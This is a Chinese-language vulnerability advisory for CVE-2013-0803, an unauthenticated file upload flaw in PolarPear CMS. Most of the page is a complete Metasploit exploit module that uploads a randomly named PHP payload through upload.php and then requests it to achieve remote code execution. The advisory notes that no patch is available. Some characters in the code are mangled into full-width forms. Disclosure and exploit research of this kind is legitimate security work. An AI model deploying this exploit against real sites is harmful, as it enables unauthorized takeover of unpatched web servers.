PolarPear CMS PHP文件上传漏洞

发布日期：2013-03-26
更新日期：2013-03-27受影响系统：
PolarPearCms PolarPearCms
描述：
--------------------------------------------------------------------------------
CVE（CAN） ID: CVE-2013-0803

PolarPearCMS是MarsApril开发的内容管理系统。

PolarPearCms内存在利用upload.php文件的文件上传漏洞，未经身份验证的恶意用户可上传文件到temp目录，造成任意代码执行。

<*来源：Metasploit

链接：http://packetstormsecurity.com/files/cve/CVE-2013-0803
http://www.metasploit.com/modules/exploit/multi/http/polarcms_upload_exec
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require "msf/core"
require "msf/core/exploit/php_exe" class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE def initialize（info = {}）
super（update_info（info,
"Name" => "PolarPearCms PHP File Upload Vulnerability",
"Description" => %q{
This module exploits a file upload vulnerability found in PlarPear CMS
By abusing the upload.php file, a malicious user can upload a file to a temp
directory without authentication, which results in arbitrary code execution.
},
"Author" =>
[
"Fady Mohamed Osman" # @Fady_Osman
],
"License" => MSF_LICENSE,
"References" =>
[
[ "CVE", "2013-0803" ]
],
"Payload" =>
{
"BadChars" => "x00",
},
"Platform" => "php",
"Arch" => ARCH_PHP,
"Targets" =>
[
[ "Generic （PHP Payload）", { "Arch" => ARCH_PHP, "Platform" => "php" } ],
[ "Linux x86", { "Arch" => ARCH_X86, "Platform" => "linux" } ]
],
"DefaultTarget" => 0,
"DisclosureDate" => "Jan 21 2012"）） register_options（
[
OptString.new（"TARGETURI", [true, "The full URI path to Polarbearcms", "/polarbearcms"]） ,
OptString.new（"UPLOADDIR", [true, "The directory to upload to starting from web root. This should be writable", "/polarbearcms"]）
], self.class）
end def check
uri = target_uri.path res = send_request_cgi（{
"method" => "GET",
"uri" => normalize_uri（uri, "includes", "jquery.uploadify", "upload.php"）
}） if not res or res.code ！= 200
return Exploit::CheckCode::Unknown
end return Exploit::CheckCode::Appears
end def exploit
uri = target_uri.path upload_dir = normalize_uri（"#{datastore["UPLOADDIR"]}/"） peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha（5）}.php"
php_payload = get_write_exec_payload（:unlink_self=>true） data = Rex::MIME::Message.new
data.add_part（php_payload, "application/octet-stream", nil, "form-data; name="Filedata"; filename="#{@payload_name}""）
data.add_part（normalize_uri（uri, "includes", "jquery.uploadify/",, nil, nil, "form-data; name="folder""）
post_data = data.to_s.gsub（/^ --\_Part\_/, "--_Part_"）
print_status（"#{peer} - Uploading payload #{@payload_name}"）
res = send_request_cgi（{
"method" => "POST",
"uri" => normalize_uri（uri, "includes", "jquery.uploadify", "upload.php？folder=#{upload_dir}"）,
"ctype" => "multipart/form-data; boundary=#{data.bound}",
"data" => post_data
}）
if not res or res.code ！= 200
fail_with（Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed"）
end upload_uri = "#{upload_dir}#{@payload_name}"
print_status（"#{peer} - Executing payload #{@payload_name}"）
res = send_request_raw（{
"uri" => upload_uri,
"method" => "GET"
}）
end
end建议：
--------------------------------------------------------------------------------
厂商补丁：

PolarPearCms
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

https://code.google.com/p/polarbearcms/EMC Smarts Network Configuration Manager 身份验证绕过漏洞（CVE-2013-0935）Siemens CP 1616和CP 1604访问安全绕过漏洞相关资讯 PHP文件上传漏洞本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款